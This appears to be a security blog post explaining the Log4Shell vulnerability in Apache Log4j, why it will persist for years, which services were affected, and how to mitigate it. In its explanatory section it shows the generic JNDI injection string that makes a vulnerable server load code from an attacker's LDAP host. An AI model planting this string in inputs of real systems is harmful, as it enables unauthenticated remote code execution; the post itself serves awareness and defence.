Log4J - why some CVEs (almost) never disappear

Unless you’ve been on a sabbatical for the past year, you probably know how a critical vulnerability known as Log4shell took over the world. 

The popular Java-based logging framework, Log4J, has been the subject of numerous Common Vulnerabilities and Exposures (CVEs) in recent years. However, as 2021 was coming to a close, a new, historical vulnerability would pop up and ruin the winter holidays for thousands of IT and security experts. 

Labeled CVE-2021-44228 (aka Log4shell), this security issue will most likely never disappear from the tech ecosystem. Here’s why. 

First of all, what’s this vulnerability?

Prior to December 10, 2021, when it got an official CVE number, the vulnerability got its famous "Log4Shell" name from Free Wortley of the LunaSec team. It would soon take the security and IT world by storm, becoming a trending topic across search engines and social platforms. 

The vulnerability takes advantage of the fact that Log4j allows requests to arbitrary LDAP and JNDI servers, enabling attackers to execute arbitrary Java code on a server or another endpoint or leak sensitive information.

Apache Log4j is a Java tool that logs information about security and performance to help with error debugging and ensure that applications operate smoothly. It’s part of the Apache Logging Services, a project of the Apache Software Foundation.

Log4Shell is a Java Naming and Directory Interface (JNDI) injection vulnerability that allows unauthenticated remote code execution. Malicious hackers can leverage it by changing the user-agent or a parameter derived from user input such as username in their browser to a string in the following format: 

${jndi:ldap://[malicious_URL]}

Since it emerged, bad actors have been spreading various payloads through this CVE, including coin miners, botnets, and malware that helped them establish backdoors and carry out other illegal activities. The most notorious threats that have used Log4Shell are Dridex (malware) and Conti (ransomware).

For infosec people trying to enjoy the winter holidays with their families, Log4Shell felt just like this:

Source: balbix.com

Unlike many other notorious security vulnerabilities, Log4Shell generated an all-hands-on-deck type of situation. Technology providers checked their internet-facing assets and incident response teams swung into action to make sure no vital systems suffered from the onslaught of opportunistic cyberattacks targeting this CVE. 

In many ways, this Log4j security issue felt… familiar. 

SQLi vs Log4Shell - what they have in common

Let’s compare these two vulnerabilities to better understand how impactful Log4Shell really is.

You know that SQL injection is one of the most exploited OWASP Top 10 vulnerabilities. For the majority of security researchers, SQLi was probably one of the first vulnerabilities they ever found and the one that gets the most attention when there’s an input field.

Now imagine a more powerful, simpler, and faster vulnerability. This is what Log4Shell is all about. It’s a combination of:

• Easy exploit requirements

• Large attack surface

• Huge impact.

Now, if you think about it, you can say: “hey, you can also get that with SQLi!”. However, in reality, finding the correct bypass and only having access to data by rewriting the payload lowers its effectiveness. Also, keep in mind that SQLi usually appears on web servers and it’s hard to achieve remote code execution with it.

This is why threat actors will engage in a long battle with security teams and software developers for the coming years over Log4Shell.

Will this Log4j vulnerability haunt me forever?

Forever, no. :) But most probably for some decades to come.

Keep in mind that, even with the patch available and easy to install, finding every vulnerable system in complex infrastructures is pretty hard and time-consuming.

Companies use the Log4j library extensively in a range of infrastructures and applications, either directly or through third parties. Even consumer electronics such as IoT gadgets use this logging library. 

The best way to protect these devices against Log4Shell is to disconnect them from the internet until manufacturer updates become available. 

The truth is sometimes you can’t trust companies announcing that they have patched their systems. That’s why you need to define your risk appetite and only use products you know in depth and trust.

Who is still impacted?

Many applications written in Java have been confirmed as affected, including popular products and services such as Apple iCloud, Amazon, Steam, Cloudflare, Minecraft, and Twitter. However, not all products that use Log4j are vulnerable. Only the software that enables and uses Log4j message lookup substitution is affected. 

Still, having such big vendors vulnerable to Log4Shell is cause for alarm and warrants close monitoring of the business functionality it impacts.

Imagine APT groups targeting a company with ransomware using drones. Yes, I know this sounds crazy, but it’s actually a thing. Drones have been used for espionage in a new type of cyberattack – with limited success so far. The attack was straightforward: a DJI drone was modified to steal data by landing on the roof of the targeted organization’s building.

Because of its pervasive nature, you can expect to find the Log4Shell vulnerability everywhere.

Source: Twitter

The long-term problem

Log4Shell's success can be attributed to three primary factors.

Ease of exploitation

Finding an input field that gets logged and entering a straightforward string is all an attacker needs to take advantage of the vulnerability. No privileged access or special configuration are required. (This is another reason why you could say Log4Shell is similar to SQLi.)

Large attack surface

Most estimates indicate there are millions of Java apps worldwide that are susceptible to this remote code execution vulnerability. Cloudflare, iCloud, Minecraft servers, Steam, Tencent QQ, Twitter, and other services are among the vulnerable entities. There were suspicions that even the NASA Mars lander was using Log4j.

Significant potential impact

Successfully exploiting Log4Shell, which has a CVSS v3 score of 10, allows an attacker to run any code they choose and potentially gain complete control of the system.

These three factors, along with the challenge of finding vulnerable versions, combine to create a perfect vulnerability that bad actors can use for decades.

Mitigation - is it really that hard?

Remediation in the case of Log4Shell is pretty simple: upgrade to the latest version  2.15.0 and apply the configuration setting log4j2.formatMsgNoLookups = true or disable Log4j and JNDI lookups. 

Additional mitigation steps include using a web application firewall (WAF), upgrading JDK, and disabling remote code bases.

But here’s the tricky part: imagine how many input fields you see daily when browsing alone. Think of these input fields as a vector for remote code execution and great power. 

Even Minecraft was found to be vulnerable to Log4Shell. The vulnerable location? Exactly! The chat where we usually activate /gamemode 1 (for fellow gamers). This command laid the foundation for us to grow into the builders, developers, artists, designers, and world-building enthusiasts that we are today.

While hunting for vulnerable versions sounds pretty simple, it’s anything but for complex networks and large applications.

Will this Log4j security issue ever end?

Modern software can be large, powerful, and complex. Rather than a single author writing all the code themselves, as it was common decades ago, developers now use at least one software library. That’s why Log4j appeared in more than 3 million vulnerable instances, including open-source ones.

While it is difficult to predict the future, with proper implementation of security measures and continued vigilance, the impact of Log4shell can be minimized, and, eventually, even effectively neutralized.

Log4J FAQs